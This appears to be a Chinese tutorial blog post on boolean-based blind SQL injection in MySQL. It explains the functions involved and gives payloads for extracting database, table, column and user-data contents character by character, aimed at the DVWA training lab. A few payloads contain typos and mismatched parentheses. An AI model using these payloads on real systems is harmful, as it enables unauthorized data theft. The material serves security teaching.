zoukankan      html  css  js  c++  java
  • 基于布尔型SQL盲注——MySQL关键函数、dvwa演示

    1 盲注基本概念

    • 如果每个应用程序都能按照我们输入的SQL 命令返回我们需要的数据, 那应用程序就无安全性可言了! 为此, 程序设计者们想到一个办法, 那就是无论输入何种命令, 只要SQL 语句导致数据库产生错误, 那么应用程序就会返回一个“ 通用的" 的页面, 或者重定向一个通用页面( 可能为网站首页) 。这时,回显方式的SQL 注入办法就无法使用了。

      盲注, 即在SQL 注入过程中, SQL 语句执行选择后, 选择的数据不能回显到前端, 需要使用特殊的方法进行判断或尝试, 这个过程称为盲注。

    盲注分为两类:

    1. 基于布尔型SQL 盲注:

      基于布尔型SQL 盲汁即在SQL 注入过程中, 应用程序仅仅返回True( 页面) 和False( 页面) 。无法根据应用程序的返回页面得到需要的数据库信息。但是可以通过构造逻辑判断( 比较大小) 来得到需要的信息。

    1. 基于时间型SQL 盲注:

    注入SQL 代码之后, 存在以下两种情况:

    • 如果注入的SQL 代码不影响后台[ 数据库] 的正常功能执行, 那么Web 应用的页面显示正确( 原始页面) 。
    • 如果注入的SQL 代码影响后台数据库的正常功能( 产生了SQL 注入) , 但是此时Web 应用的页面依旧显示正常( 原因是Web 应用程序采取了“ 重定向" 或“ 屏蔽" 措施)。

    产生一个疑问:注入的SQL 代码到底被后台数据库执行了没有? 即Web 应用程序是否存在SQL 注入?
    面对这种情况,之前讲的基于布尔的SQL 盲注就很难发挥作用了( 因为基于布尔的SQL 前提是Web 程序返回的页面存在true 和false 两种不同的页面)。这时, 一般采用基于web 应用响应时间上的差异来判断是否存在SQL 注入, 即基于时间型SQL 盲注。

    2 MySQL盲注关键函数

    2.1 判断结果的记录数COUNT()

    count(columu_name)函数
    函数返回指定列的值的数目(NULL 不计入)
    语法示例:
    Select count (user) from users;    // 返回表中user列的记录数
    select count(*) from users;      // 返回表中的记录数
    示例如图所示:

    2.2 返回数据中的某几行数据 imit()

    Limit(m,n) 函数
    说明:m 代表从m+1 条记录行开始检索,n 代表取出n 条数据。( m 可设为0 )
    语法示例:
    select * from 表名 limit m,n;
    select user from users limit 0,1;    // 检索记录行1
    示例如图所示:

     

    2.3 内容长度判断函数length()

    length() 函数
    length() 函数返回文本字段中值的长度。
    语法示例:
    select length(user) from users;
    示例如图所示:

    2.4 字符串截取函数mid(), substr() ,substring(),left()

    字符串截取函数有几个类似函数,mid(), substr() ,substring()和left() , 其中前三个函数用法基本一致
      mid (string,start,length)  函数
    其中,每个参数的含义如下:

    • string( 必需) 规定要返回其中一部分的字符串。
    • start( 必需) 规定开始位置(起始值是1) 。
    • length( 可选)要返回的字符数。如果省略, 则mid() 函数返回剩余文本。

      substring(string,start,length) 和substr(string, start, length)
    函数实现的功能是一样的, 均为截取字符串。
    其中,每个参数的含义如下:

    • string( 必需) 规定要返回其中一部分的字符串。
    • start( 必需) 规定开始位置(起始值是1) 。
    • length( 可选)要返回的字符数。

    语法示例:

     

      left (string,length) 函数
    截取指定长度的字符串
    其中, 每个参数的含义如下:

    • string  (必需) 规定要返回其中一部分的字符串。
    • length (可选) 规定被返回字符串的前length 长度的字符

     

    2.5 字符转ascii 码函数ascii()

    Ascil() 函数
    将字符转化为ascii 码。如果是字符串, 则返回的最左字符的数值。也就是第一个字符的ascii 值。如果字符串为空字符串,则返回NULL 。如果字符串为NULL, ASCII() 返回数值是从0 到255 随机。
    语法示例

    select ascii(substr(user,1,1)) from users limit 0,1;
    示例如图所示

    3 基于布尔逻辑的盲注

    基于布尔型SQL盲注即在SQL 注入过程中,应用程序仅仅返回True(页面)和FaIse(页面)。 但不会回显程序返回信息。对于布尔型盲注可以通过构造逻辑判断( 比较大小) 来得到数据库内容信息。
    盲注的步骤与注入语句:( 注入需要在注入点拼接注入语句,实现逻辑判断)
    1 、判断当前数据库名长度与数据库名

    • And length(database())>n          / / 判断当前数据库长度
    • And ascii(substr(database(),m,1))> n     / / 截取数据库名第m 个字符并转换为ascii 码

    2 、判断数据库的表长度与表名

    • And length((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1)) > n         // 判断第一行表名的长度
    • And ascii((substr(select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),m,1)) > n        // 截取第一行表名的第m 个字符串并转换为ascii码

    3 、判断数据库的字段名长度与字段名称

    • And length ((select column_name from information_schema.columns where table_name='users' limit 0,1)) >n         // 判断表中字段名的长度
    • And ascli((substr(select column_name from information_schema.columns where table_name='users' limit 0,1),m,1)) >n    // 截取表中字段的第m 字符串并转换为ascii码

    4 、判断字段的内容长度与内容字符串

    • And length((select user from users limit 0,1)) > 1       / / 判断字符串内容长度
    • And ascii(substr((select user from users imit 0,1),m,1))   / / 截取第m 个字符串并转换为ascil码

    4 SQL盲注——dvwa演示

  • 相关阅读:
    ckeditor详解
    c#实现生产者消费者模式
    逻辑思维题01
    关于nginx的安装
    一些关于python的小感想
    关于linux上pdf阅读器
    将python2.7+django1.10部署到SAE上
    配置github上的SSH key及上传自己的项目到github
    解决ubuntu15 下没有声音
    linux小倒腾
  • 原文地址:https://www.cnblogs.com/52kj/p/12421865.html
Copyright © 2011-2022 走看看